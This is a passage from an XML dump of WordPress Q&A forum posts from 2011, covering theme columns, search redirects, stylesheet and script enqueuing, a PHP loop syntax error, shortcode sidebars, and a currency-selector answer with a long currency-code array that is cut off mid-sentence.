  <row Id="24461" PostTypeId="1" CreationDate="2011-04-24T02:07:58.220" Score="2" ViewCount="66" Body="&lt;p&gt;Currently I'm using The Morning After Theme (http://theme.wordpress.com/themes/themorningafter/)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It lists one-column as a feature, so how do I change it to one-column? The default is three columns.&lt;/p&gt;&#xA;" LastEditorUserId="2275" LastEditorDisplayName="" LastEditDate="2011-08-01T10:13:37.650" LastActivityDate="2011-08-01T10:13:37.650" Title="How to change Wordpress theme to one column?" Tags="&lt;theme-options&gt;&lt;columns&gt;" AnswerCount="1" />
  <row Id="24462" PostTypeId="2" ParentId="24461" CreationDate="2011-04-24T13:11:34.073" Score="2" ViewCount="" Body="&lt;p&gt;Go to Pages &gt; Edit Page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under Page Attributes, select 'One Column', or 'one column, no sidebar' from the Template drop-down.&lt;/p&gt;&#xA;" OwnerUserId="2275" LastActivityDate="2011-04-24T13:11:34.073" />
  <row Id="24463" PostTypeId="1" AcceptedAnswerId="24464" CreationDate="2011-07-29T23:37:51.340" Score="0" ViewCount="29" Body="&lt;p&gt;I recently completed a WordPress site design, and I'm just struggling with one bug: when a user clicks the &quot;Search&quot; button without any content in the text field, they are redirected to a list of posts. Is there a way to modify this action? Ideally, if the text field is empty, the user will be redirected to the homepage.&lt;/p&gt;&#xA;" OwnerUserId="6389" LastActivityDate="2011-07-29T23:54:32.930" Title="Changing the default WordPress search action" Tags="&lt;search&gt;" AnswerCount="1" />
  <row Id="24464" PostTypeId="2" ParentId="24463" CreationDate="2011-07-29T23:54:32.930" Score="1" ViewCount="" Body="&lt;p&gt;The default WordPress action is to &lt;a href=&quot;http://core.trac.wordpress.org/ticket/11330&quot; rel=&quot;nofollow&quot;&gt;redirect to the homepage&lt;/a&gt; when the search is blank - just what you want! Do you have any plugins or .htaccess settings that may be changing this?&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-07-29T23:54:32.930" CommentCount="1" />
  <row Id="24465" PostTypeId="1" CreationDate="2011-07-29T23:56:08.233" Score="0" ViewCount="28" Body="&lt;p&gt;I have set a page as a homepage for my site.  There are specific style sheets just for the homepage that I don't need to use globally. I'm still new to WordPress so this is so confusing to me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_style&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_enqueue_style&lt;/a&gt; but I still don't understand how to incorporate it in my page. Can someone please help me?&lt;/p&gt;&#xA;" OwnerUserId="4807" LastActivityDate="2011-07-30T09:36:09.453" Title="Adding style sheet to specific page" Tags="&lt;stylesheet&gt;&lt;wp-enqueue-style&gt;" AnswerCount="2" />
  <row Id="24466" PostTypeId="2" ParentId="24465" CreationDate="2011-07-30T00:45:06.043" Score="1" ViewCount="" Body="&lt;p&gt;Utilize the wordpress &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags&quot; rel=&quot;nofollow&quot;&gt;conditional tags&lt;/a&gt; to selectively enqueue / load your stylesheets. This is best practice so you can call any dependancies as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've provided an example of this in practice. Often we only want to include styles for the front page and then style accordingly to your sub page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;// Is this the front page or home page  ?&#xA;if (is_front_page() &amp;amp;&amp;amp; is_home() )  {&#xA;// if so then lets enqueue this!&#xA;// for reference the function uses the following parameters:&#xA;// wp_enqueue_style( $handle, $src, $deps, $ver, $media ) ?&#xA;  wp_enqueue_style( 'mystyle', TEMPLATEPATH . 'foo.css', array('my-dependency-styles', 'reset-style'), '1.0.1', 'only screen and print' ); &#xA;} else {  &#xA;  wp_enqueue_style( 'mystyle', TEMPLATEPATH . 'sub-page.css', array('my-dependency-styles', 'reset-style'), '1.0.1', 'only screen and print' ); ?&amp;gt;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5149" LastEditorUserId="5149" LastEditorDisplayName="" LastEditDate="2011-07-30T00:53:06.367" LastActivityDate="2011-07-30T00:53:06.367" />
  <row Id="24467" PostTypeId="2" ParentId="24453" CreationDate="2011-07-30T01:06:22.133" Score="0" ViewCount="" Body="&lt;p&gt;I think you should just enqueue the script as well (for your validate script). I would wrap it around one whole function as well to avoid issue &lt;a href=&quot;http://core.trac.wordpress.org/ticket/11526&quot; rel=&quot;nofollow&quot;&gt;#11526&lt;/a&gt;: calling out&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus all together:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;...&#xA;&amp;lt;?php &#xA;&#xA;function mytheme_enqueue_script() {&#xA;// Load jQuery&#xA;wp_enqueue_script('jquery');&#xA;// Load draggable&#xA;wp_enqueue_script('jquery-ui-draggable');&#xA;//load your script&#xA;wp_enqueue_script('commonfunctions', child_template_directory . '/script/commonfunctions.js', array('jquery', 'jquery-ui-draggable'), '1.0', true);&#xA;// Load validate&#xA;wp_enqueue_script('validate','http://ajax.microsoft.com/ajax/jQuery.Validate/1.6/jQuery.Validate.min.js', array('jquery'), true);&#xA;}&#xA;&#xA;add_action('wp_enqueue_script', 'mytheme_enqueue_script');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sorry, i haven't tested this yet. So i may be off.&lt;/p&gt;&#xA;" OwnerUserId="5149" LastActivityDate="2011-07-30T01:06:22.133" CommentCount="1" />
  <row Id="24468" PostTypeId="1" CreationDate="2011-07-30T01:11:46.003" Score="0" ViewCount="38" Body="&lt;p&gt;I have this code trying to sort by a specific category. I keeps saying it has an unexpected $end on line 39. What did I do wrong in the code. I've been playing with it and reading the codex for a while and can't figure it out.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;&#xA;    &amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;  &amp;lt;?php $post = $posts[0]; // Hack. Set $post so that the_date() works. ?&amp;gt;&#xA;  &amp;lt;?php /* If this is a category archive */ if (is_category('5')) { ?&amp;gt;&#xA;      &amp;lt;h1 class=&quot;pagetitle&quot;&amp;gt;&amp;lt;?php _e('Archive for the', 'default'); ?&amp;gt; &amp;amp;#8216;&amp;lt;?    php single_cat_title(); ?&amp;gt;&amp;amp;#8217; &amp;lt;?php _e('category', 'default'); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;      &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;    &amp;lt;div &amp;lt;?php post_class(archives-page) ?&amp;gt;&amp;gt;&#xA;        &amp;lt;h2 id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;   rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;small class=&quot;meta&quot;&amp;gt;&amp;lt;?php the_time(__('F jS, Y','default')); ?&amp;gt; &amp;lt;?php edit_post_link(__( 'Edit', 'default' ), ' | ', ''); ?&amp;gt;&amp;lt;/small&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;            &amp;lt;?php the_content((__( '&amp;amp;raquo; Read more: ', 'default')) . the_title('', '', false)); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;postmetadata clearfix&quot;&amp;gt;&#xA;    &amp;lt;p class=&quot;commentslink alignright&quot;&amp;gt;&#xA;      &amp;lt;?php comments_popup_link( __( 'No comments', 'default' ), __( '1 comment', 'default' ), __( '% comments', 'default' )); ?&amp;gt; &amp;amp;#187;&#xA;    &amp;lt;/p&amp;gt;&#xA;          &amp;lt;p class=&quot;categories&quot;&amp;gt;&#xA;      &amp;lt;?php _e('Posted in ', 'default' ); the_category(', '); ?&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;          &amp;lt;?php the_tags( '&amp;lt;p class=&quot;tags&quot;&amp;gt;Tags: ', ' ', '&amp;lt;/p&amp;gt;'); ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7006" LastActivityDate="2011-08-29T18:36:32.420" Title="Category sorting via The Loop" Tags="&lt;categories&gt;&lt;sort&gt;&lt;the-loop&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="24469" PostTypeId="1" AcceptedAnswerId="24546" CreationDate="2011-07-30T01:23:57.607" Score="0" ViewCount="29" Body="&lt;p&gt;I have one shortcode that should be always next to the sidebar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// [shortcode] otuput | default sidebar &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My theme allows me to set different sidebars for each page. So I have sidebars on a few pages, but not everywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best/proper way of achieving this goal? I was thinking about adding &lt;code&gt;dynamic_sidebar($sidebar_name)&lt;/code&gt; to the shortcode itself, but it doesn't seem to be smart idea (especially with multiple instances of my shortcode at the same page).&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-07-31T16:02:25.123" Title="How to attach sidebar to shortcode's output?" Tags="&lt;shortcode&gt;&lt;sidebar&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="24470" PostTypeId="1" CreationDate="2011-07-30T01:27:01.413" Score="0" ViewCount="44" Body="&lt;p&gt;May i know does Wordpress ecommerce allow currency selector? I know in Joomla they have this &lt;a href=&quot;http://dynamicconverter.com/virtuemart&quot; rel=&quot;nofollow&quot;&gt;http://dynamicconverter.com/virtuemart&lt;/a&gt; where it can auto change the product price immediately after we choose the currency from a dropdownlist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the template from Templatic and only realized that the currency selector feature is not included in their theme. The sale team said that they do not need to have the currency selector as if i were to pay using Paypal, it already auto calculated based on the buyer currency. Question !!! What if i do not use Paypal? Also, i asked them how much would they charged for adding this currency selector for me but they ignore me and said they do not able to do so... Is that a limitation in their site or am i asking a stupid question there?? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well i am going to give up with that and come to you here for advice..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have referred to &lt;a href=&quot;http://wordpress.org/extend/plugins/currency-converter/screenshots/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/currency-converter/screenshots/&lt;/a&gt;  but this does not meet my requirement. Could you advice?&lt;/p&gt;&#xA;" OwnerUserId="7294" LastEditorUserId="7294" LastEditorDisplayName="" LastEditDate="2011-07-30T01:49:57.933" LastActivityDate="2011-08-29T15:36:29.447" Title="currency selector" Tags="&lt;e-commerce&gt;" AnswerCount="1" />
  <row Id="24471" PostTypeId="2" ParentId="24468" CreationDate="2011-07-30T01:40:41.147" Score="0" ViewCount="" Body="&lt;p&gt;I've found one endif; missing &amp;amp; one unclosed bracket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fixed version:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;&#xA;    &amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;  &amp;lt;?php $post = $posts[0]; // Hack. Set $post so that the_date() works. ?&amp;gt;&#xA;  &amp;lt;?php /* If this is a category archive */ if (is_category('5')) ?&amp;gt;&#xA;      &amp;lt;h1 class=&quot;pagetitle&quot;&amp;gt;&amp;lt;?php _e('Archive for the', 'default'); ?&amp;gt; &amp;amp;#8216;&amp;lt;?php single_cat_title(); ?&amp;gt;&amp;amp;#8217; &amp;lt;?php _e('category', 'default'); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;      &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;    &amp;lt;div &amp;lt;?php post_class(archives-page) ?&amp;gt;&amp;gt;&#xA;        &amp;lt;h2 id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;   rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;small class=&quot;meta&quot;&amp;gt;&amp;lt;?php the_time(__('F jS, Y','default')); ?&amp;gt; &amp;lt;?php edit_post_link(__( 'Edit', 'default' ), ' | ', ''); ?&amp;gt;&amp;lt;/small&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;            &amp;lt;?php the_content((__( '&amp;amp;raquo; Read more: ', 'default')) . the_title('', '', false)); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;postmetadata clearfix&quot;&amp;gt;&#xA;    &amp;lt;p class=&quot;commentslink alignright&quot;&amp;gt;&#xA;      &amp;lt;?php comments_popup_link( __( 'No comments', 'default' ), __( '1 comment', 'default' ), __( '% comments', 'default' )); ?&amp;gt; &amp;amp;#187;&#xA;    &amp;lt;/p&amp;gt;&#xA;          &amp;lt;p class=&quot;categories&quot;&amp;gt;&#xA;      &amp;lt;?php _e('Posted in ', 'default' ); the_category(', '); ?&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;          &amp;lt;?php the_tags( '&amp;lt;p class=&quot;tags&quot;&amp;gt;Tags: ', ' ', '&amp;lt;/p&amp;gt;'); ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;    &amp;lt;?php endwhile; endif; ?&amp;gt; &#xA;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does it work now?&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-07-30T01:40:41.147" CommentCount="1" />
  <row Id="24473" PostTypeId="2" ParentId="24470" CreationDate="2011-07-30T02:01:05.030" Score="0" ViewCount="" Body="&lt;p&gt;As far as I know there is nothing that converts lots of prices &quot;on the fly&quot; for Wordpress, so I guess you have to write it on your own!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily, it's not that hard as it seems, firstly, you need a list of all currencies:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$currency_list = array (&#xA;        &quot;DZD&quot; =&amp;gt; &quot;Algerian Dinar (DZD)&quot;,&#xA;        &quot;XAL&quot; =&amp;gt; &quot;Aluminium Ounces (XAL)&quot;,&#xA;        &quot;ARS&quot; =&amp;gt; &quot;Argentine Peso (ARS)&quot;,&#xA;        &quot;AWG&quot; =&amp;gt; &quot;Aruba Florin (AWG)&quot;,&#xA;        &quot;AUD&quot; =&amp;gt; &quot;Australian Dollar (AUD)&quot;,&#xA;        &quot;BSD&quot; =&amp;gt; &quot;Bahamian Dollar (BSD)&quot;,&#xA;        &quot;BHD&quot; =&amp;gt; &quot;Bahraini Dinar (BHD)&quot;,&#xA;        &quot;BDT&quot; =&amp;gt; &quot;Bangladesh Taka (BDT)&quot;,&#xA;        &quot;BBD&quot; =&amp;gt; &quot;Barbados Dollar (BBD)&quot;,&#xA;        &quot;BYR&quot; =&amp;gt; &quot;Belarus Ruble (BYR)&quot;,&#xA;        &quot;BZD&quot; =&amp;gt; &quot;Belize Dollar (BZD)&quot;,&#xA;        &quot;BMD&quot; =&amp;gt; &quot;Bermuda Dollar (BMD)&quot;,&#xA;        &quot;BTN&quot; =&amp;gt; &quot;Bhutan Ngultrum (BTN)&quot;,&#xA;        &quot;BOB&quot; =&amp;gt; &quot;Bolivian Boliviano (BOB)&quot;,&#xA;        &quot;BRL&quot; =&amp;gt; &quot;Brazilian Real (BRL)&quot;,&#xA;        &quot;GBP&quot; =&amp;gt; &quot;British Pound (GBP)&quot;,&#xA;        &quot;BND&quot; =&amp;gt; &quot;Brunei Dollar (BND)&quot;,&#xA;        &quot;BGN&quot; =&amp;gt; &quot;Bulgarian Lev (BGN)&quot;,&#xA;        &quot;BIF&quot; =&amp;gt; &quot;Burundi Franc (BIF)&quot;,&#xA;        &quot;KHR&quot; =&amp;gt; &quot;Cambodia Riel (KHR)&quot;,&#xA;        &quot;CAD&quot; =&amp;gt; &quot;Canadian Dollar (CAD)&quot;,&#xA;        &quot;KYD&quot; =&amp;gt; &quot;Cayman Islands Dollar (KYD)&quot;,&#xA;        &quot;XOF&quot; =&amp;gt; &quot;CFA Franc (BCEAO) (XOF)&quot;,&#xA;        &quot;XAF&quot; =&amp;gt; &quot;CFA Franc (BEAC) (XAF)&quot;,&#xA;        &quot;CLP&quot; =&amp;gt; &quot;Chilean Peso (CLP)&quot;,&#xA;        &quot;CNY&quot; =&amp;gt; &quot;Chinese Yuan (CNY)&quot;,&#xA;        &quot;COP&quot; =&amp;gt; &quot;Colombian Peso (COP)&quot;,&#xA;        &quot;KMF&quot; =&amp;gt; &quot;Comoros Franc (KMF)&quot;,&#xA;        &quot;XCP&quot; =&amp;gt; &quot;Copper Ounces (XCP)&quot;,&#xA;        &quot;CRC&quot; =&amp;gt; &quot;Costa Rica Colon (CRC)&quot;,&#xA;        &quot;HRK&quot; =&amp;gt; &quot;Croatian Kuna (HRK)&quot;,&#xA;        &quot;CUP&quot; =&amp;gt; &quot;Cuban Peso (CUP)&quot;,&#xA;        &quot;CYP&quot; =&amp;gt; &quot;Cyprus Pound (CYP)&quot;,&#xA;        &quot;CZK&quot; =&amp;gt; &quot;Czech Koruna (CZK)&quot;,&#xA;        &quot;DKK&quot; =&amp;gt; &quot;Danish Krone (DKK)&quot;,&#xA;        &quot;DJF&quot; =&amp;gt; &quot;Dijibouti Franc (DJF)&quot;,&#xA;        &quot;DOP&quot; =&amp;gt; &quot;Dominican Peso (DOP)&quot;,&#xA;        &quot;XCD&quot; =&amp;gt; &quot;East Caribbean Dollar (XCD)&quot;,&#xA;        &quot;ECS&quot; =&amp;gt; &quot;Ecuador Sucre (ECS)&quot;,&#xA;        &quot;EGP&quot; =&amp;gt; &quot;Egyptian Pound (EGP)&quot;,&#xA;        &quot;SVC&quot; =&amp;gt; &quot;El Salvador Colon (SVC)&quot;,&#xA;        &quot;ERN&quot; =&amp;gt; &quot;Eritrea Nakfa (ERN)&quot;,&#xA;        &quot;EEK&quot; =&amp;gt; &quot;Estonian Kroon (EEK)&quot;,&#xA;        &quot;ETB&quot; =&amp;gt; &quot;Ethiopian Birr (ETB)&quot;,&#xA;        &quot;EUR&quot; =&amp;gt; &quot;Euro (EUR)&quot;,&#xA;        &quot;FKP&quot; =&amp;gt; &quot;Falkland Islands Pound (FKP)&quot;,&#xA;        &quot;GMD&quot; =&amp;gt; &quot;Gambian Dalasi (GMD)&quot;,&#xA;        &quot;GHC&quot; =&amp;gt; &quot;Ghanian Cedi (GHC)&quot;,&#xA;        &quot;GIP&quot; =&amp;gt; &quot;Gibraltar Pound (GIP)&quot;,&#xA;        &quot;XAU&quot; =&amp;gt; &quot;Gold Ounces (XAU)&quot;,&#xA;        &quot;GTQ&quot; =&amp;gt; &quot;Guatemala Quetzal (GTQ)&quot;,&#xA;        &quot;GNF&quot; =&amp;gt; &quot;Guinea Franc (GNF)&quot;,&#xA;        &quot;HTG&quot; =&amp;gt; &quot;Haiti Gourde (HTG)&quot;,&#xA;        &quot;HNL&quot; =&amp;gt; &quot;Honduras Lempira (HNL)&quot;,&#xA;        &quot;HKD&quot; =&amp;gt; &quot;Hong Kong Dollar (HKD)&quot;,&#xA;        &quot;HUF&quot; =&amp;gt; &quot;Hungarian Forint (HUF)&quot;,&#xA;        &quot;ISK&quot; =&amp;gt; &quot;Iceland Krona (ISK)&quot;,&#xA;        &quot;INR&quot; =&amp;gt; &quot;Indian Rupee (INR)&quot;,&#xA;        &quot;IDR&quot; =&amp;gt; &quot;Indonesian Rupiah (IDR)&quot;,&#xA;        &quot;IRR&quot; =&amp;gt; &quot;Iran Rial (IRR)&quot;,&#xA;        &quot;ILS&quot; =&amp;gt; &quot;Israeli Shekel (ILS)&quot;,&#xA;        &quot;JMD&quot; =&amp;gt; &quot;Jamaican Dollar (JMD)&quot;,&#xA;        &quot;JPY&quot; =&amp;gt; &quot;Japanese Yen (JPY)&quot;,&#xA;        &quot;JOD&quot; =&amp;gt; &quot;Jordanian Dinar (JOD)&quot;,&#xA;        &quot;KZT&quot; =&amp;gt; &quot;Kazakhstan Tenge (KZT)&quot;,&#xA;        &quot;KES&quot; =&amp;gt; &quot;Kenyan Shilling (KES)&quot;,&#xA;        &quot;KRW&quot; =&amp;gt; &quot;Korean Won (KRW)&quot;,&#xA;        &quot;KWD&quot; =&amp;gt; &quot;Kuwaiti Dinar (KWD)&quot;,&#xA;        &quot;LAK&quot; =&amp;gt; &quot;Lao Kip (LAK)&quot;,&#xA;        &quot;LVL&quot; =&amp;gt; &quot;Latvian Lat (LVL)&quot;,&#xA;        &quot;LBP&quot; =&amp;gt; &quot;Lebanese Pound (LBP)&quot;,&#xA;        &quot;LSL&quot; =&amp;gt; &quot;Lesotho Loti (LSL)&quot;,&#xA;        &quot;LYD&quot; =&amp;gt; &quot;Libyan Dinar (LYD)&quot;,&#xA;        &quot;LTL&quot; =&amp;gt; &quot;Lithuanian Lita (LTL)&quot;,&#xA;        &quot;MOP&quot; =&amp;gt; &quot;Macau Pataca (MOP)&quot;,&#xA;        &quot;MKD&quot; =&amp;gt; &quot;Macedonian Denar (MKD)&quot;,&#xA;        &quot;MGF&quot; =&amp;gt; &quot;Malagasy Franc (MGF)&quot;,&#xA;        &quot;MWK&quot; =&amp;gt; &quot;Malawi Kwacha (MWK)&quot;,&#xA;        &quot;MYR&quot; =&amp;gt; &quot;Malaysian Ringgit (MYR)&quot;,&#xA;        &quot;MVR&quot; =&amp;gt; &quot;Maldives Rufiyaa (MVR)&quot;,&#xA;        &quot;MTL&quot; =&amp;gt; &quot;Maltese Lira (MTL)&quot;,&#xA;        &quot;MRO&quot; =&amp;gt; &quot;Mauritania Ougulya (MRO)&quot;,&#xA;        &quot;MUR&quot; =&amp;gt; &quot;Mauritius Rupee (MUR)&quot;,&#xA;        &quot;MXN&quot; =&amp;gt; &quot;Mexican Peso (MXN)&quot;,&#xA;        &quot;MDL&quot; =&amp;gt; &quot;Moldovan Leu (MDL)&quot;,&#xA;        &quot;MNT&quot; =&amp;gt; &quot;Mongolian Tugrik (MNT)&quot;,&#xA;        &quot;MAD&quot; =&amp;gt; &quot;Moroccan Dirham (MAD)&quot;,&#xA;        &quot;MZM&quot; =&amp;gt; &quot;Mozambique Metical (MZM)&quot;,&#xA;        &quot;NAD&quot; =&amp;gt; &quot;Namibian Dollar (NAD)&quot;,&#xA;        &quot;NPR&quot; =&amp;gt; &quot;Nepalese Rupee (NPR)&quot;,&#xA;        &quot;ANG&quot; =&amp;gt; &quot;Neth Antilles Guilder (ANG)&quot;,&#xA;        &quot;TRY&quot; =&amp;gt; &quot;New Turkish Lira (TRY)&quot;,&#xA;        &quot;NZD&quot; =&amp;gt; &quot;New Zealand Dollar (NZD)&quot;,&#xA;        &quot;NIO&quot; =&amp;gt; &quot;Nicaragua Cordoba (NIO)&quot;,&#xA;        &quot;NGN&quot; =&amp;gt; &quot;Nigerian Naira (NGN)&quot;,&#xA;        &quot;NOK&quot; =&amp;gt; &quot;Norwegian Krone (NOK)&quot;,&#xA;        &quot;OMR&quot; =&amp;gt; &quot;Omani Rial (OMR)&quot;,&#xA;        &quot;XPF&quot; =&amp;gt; &quot;Pacific Franc (XPF)&quot;,&#xA;        &quot;PKR&quot; =&amp;gt; &quot;Pakistani Rupee (PKR)&quot;,&#xA;        &quot;XPD&quot; =&amp;gt; &quot;Palladium Ounces (XPD)&quot;,&#xA;        &quot;PAB&quot; =&amp;gt; &quot;Panama Balboa (PAB)&quot;,&#xA;        &quot;PGK&quot; =&amp;gt; &quot;Papua New Guinea Kina (PGK)&quot;,&#xA;        &quot;PYG&quot; =&amp;gt; &quot;Paraguayan Guarani (PYG)&quot;,&#xA;        &quot;PEN&quot; =&amp;gt; &quot;Peruvian Nuevo Sol (PEN)&quot;,&#xA;        &quot;PHP&quot; =&amp;gt; &quot;Philippine Peso (PHP)&quot;,&#xA;        &quot;XPT&quot; =&amp;gt; &quot;Platinum Ounces (XPT)&quot;,&#xA;        &quot;PLN&quot; =&amp;gt; &quot;Polish Zloty (PLN)&quot;,&#xA;        &quot;QAR&quot; =&amp;gt; &quot;Qatar Rial (QAR)&quot;,&#xA;        &quot;ROL&quot; =&amp;gt; &quot;Romanian Leu (ROL)&quot;,&#xA;        &quot;RON&quot; =&amp;gt; &quot;Romanian New Leu (RON)&quot;,&#xA;        &quot;RUB&quot; =&amp;gt; &quot;Russian Rouble (RUB)&quot;,&#xA;        &quot;RWF&quot; =&amp;gt; &quot;Rwanda Franc (RWF)&quot;,&#xA;        &quot;WST&quot; =&amp;gt; &quot;Samoa Tala (WST)&quot;,&#xA;        &quot;STD&quot; =&amp;gt; &quot;Sao Tome Dobra (STD)&quot;,&#xA;        &quot;SAR&quot; =&amp;gt; &quot;Saudi Arabian Riyal (SAR)&quot;,&#xA;        &quot;SCR&quot; =&amp;gt; &quot;Seychelles Rupee (SCR)&quot;,&#xA;        &quot;SLL&quot; =&amp;gt; &quot;Sierra Leone Leone (SLL)&quot;,&#xA;        &quot;XAG&quot; =&amp;gt; &quot;Silver Ounces (XAG)&quot;,&#xA;        &quot;SGD&quot; =&amp;gt; &quot;Singapore Dollar (SGD)&quot;,&#xA;        &quot;SKK&quot; =&amp;gt; &quot;Slovak Koruna (SKK)&quot;,&#xA;        &quot;SIT&quot; =&amp;gt; &quot;Slovenian Tolar (SIT)&quot;,&#xA;        &quot;SOS&quot; =&amp;gt; &quot;Somali Shilling (SOS)&quot;,&#xA;        &quot;ZAR&quot; =&amp;gt; &quot;South African Rand (ZAR)&quot;,&#xA;        &quot;LKR&quot; =&amp;gt; &quot;Sri Lanka Rupee (LKR)&quot;,&#xA;        &quot;SHP&quot; =&amp;gt; &quot;St Helena Pound (SHP)&quot;,&#xA;        &quot;SDD&quot; =&amp;gt; &quot;Sudanese Dinar (SDD)&quot;,&#xA;        &quot;SRG&quot; =&amp;gt; &quot;Surinam Guilder (SRG)&quot;,&#xA;        &quot;SZL&quot; =&amp;gt; &quot;Swaziland Lilageni (SZL)&quot;,&#xA;        &quot;SEK&quot; =&amp;gt; &quot;Swedish Krona (SEK)&quot;,&#xA;        &quot;CHF&quot; =&amp;gt; &quot;Swiss Franc (CHF)&quot;,&#xA;        &quot;SYP&quot; =&amp;gt; &quot;Syrian Pound (SYP)&quot;,&#xA;        &quot;TWD&quot; =&amp;gt; &quot;Taiwan Dollar (TWD)&quot;,&#xA;        &quot;TZS&quot; =&amp;gt; &quot;Tanzanian Shilling (TZS)&quot;,&#xA;        &quot;THB&quot; =&amp;gt; &quot;Thai Baht (THB)&quot;,&#xA;        &quot;TOP&quot; =&amp;gt; &quot;Tonga Pa'anga (TOP)&quot;,&#xA;        &quot;TTD&quot; =&amp;gt; &quot;Trinidad&amp;amp;Tobago Dollar (TTD)&quot;,&#xA;        &quot;TND&quot; =&amp;gt; &quot;Tunisian Dinar (TND)&quot;,&#xA;        &quot;USD&quot; =&amp;gt; &quot;U.S. Dollar (USD)&quot;,&#xA;        &quot;AED&quot; =&amp;gt; &quot;UAE Dirham (AED)&quot;,&#xA;        &quot;UGX&quot; =&amp;gt; &quot;Ugandan Shilling (UGX)&quot;,&#xA;        &quot;UAH&quot; =&amp;gt; &quot;Ukraine Hryvnia (UAH)&quot;,&#xA;        &quot;UYU&quot; =&amp;gt; &quot;Uruguayan New Peso (UYU)&quot;,&#xA;        &quot;VUV&quot; =&amp;gt; &quot;Vanuatu Vatu (VUV)&quot;,&#xA;        &quot;VEB&quot; =&amp;gt; &quot;Venezuelan Bolivar (VEB)&quot;,&#xA;        &quot;VND&quot; =&amp;gt; &quot;Vietnam Dong (VND)&quot;,&#xA;        &quot;YER&quot; =&amp;gt; &quot;Yemen Riyal (YER)&quot;,&#xA;        &quot;ZMK&quot; =&amp;gt; &quot;Zambian Kwacha (ZMK)&quot;,&#xA;        &quot;ZWD&quot; =&amp;gt; &quot;Zimbabwe Dollar (ZWD)&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this address: 